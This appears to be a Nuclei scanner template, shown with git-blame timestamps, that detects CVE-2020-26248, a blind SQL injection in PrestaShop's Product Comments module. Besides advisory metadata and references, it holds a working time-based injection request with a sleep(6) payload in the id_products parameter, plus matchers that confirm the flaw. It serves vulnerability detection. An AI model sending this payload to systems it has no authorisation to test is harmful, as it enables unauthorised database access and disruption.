2022-09-30 16:27:58 +00:00
id : CVE-2020-26248
info :
2022-12-09 21:40:18 +00:00
name : PrestaShop Product Comments <4.2.0 - SQL Injection
2022-09-30 16:27:58 +00:00
author : edoardottt
2022-12-02 12:27:49 +00:00
severity : high
2022-09-30 16:27:58 +00:00
description : |
2022-12-09 21:40:18 +00:00
PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 12:22:36 +00:00
remediation : Fixed in 4.2.1.
2022-09-30 16:27:58 +00:00
reference :
- https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
2022-12-02 12:27:49 +00:00
- https://packagist.org/packages/prestashop/productcomments
- https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
2022-12-09 21:40:18 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-26248
2023-07-11 19:49:27 +00:00
- https://github.com/PrestaShop/productcomments/commit/7c2033dd811744e021da8897c80d6c301cd45ffa
2022-09-30 16:27:58 +00:00
classification :
2022-12-02 12:27:49 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
cvss-score : 8.2
2022-09-30 16:27:58 +00:00
cve-id : CVE-2020-26248
2022-12-02 12:27:49 +00:00
cwe-id : CWE-89
2023-12-12 11:07:52 +00:00
epss-score : 0.01617
2024-04-08 11:34:33 +00:00
epss-percentile : 0.87187
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:prestashop:productcomments:*:*:*:*:*:prestashop:*:*
2022-11-29 08:55:08 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:22:36 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : prestashop
product : productcomments
2023-09-06 12:22:36 +00:00
framework : prestashop
2024-01-14 09:21:50 +00:00
tags : cve,cve2020,packetstorm,sqli,prestshop,prestashop
2022-09-30 16:27:58 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-29 08:55:08 +00:00
- raw :
- |
@timeout : 20s
GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
Host : {{Hostname}}
2022-09-30 16:27:58 +00:00
matchers :
- type : dsl
dsl :
2022-11-29 08:55:08 +00:00
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "average_grade")'
condition : and
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100bfb60507528a715a3186e6f06262c9534c16003bc96c3baa4049108a3d06d67a0221008662896abf6d4938c136f30d2492fc638fb1157aea901a3875741b3251869743:922c64590222798bb761d5b6d8e72950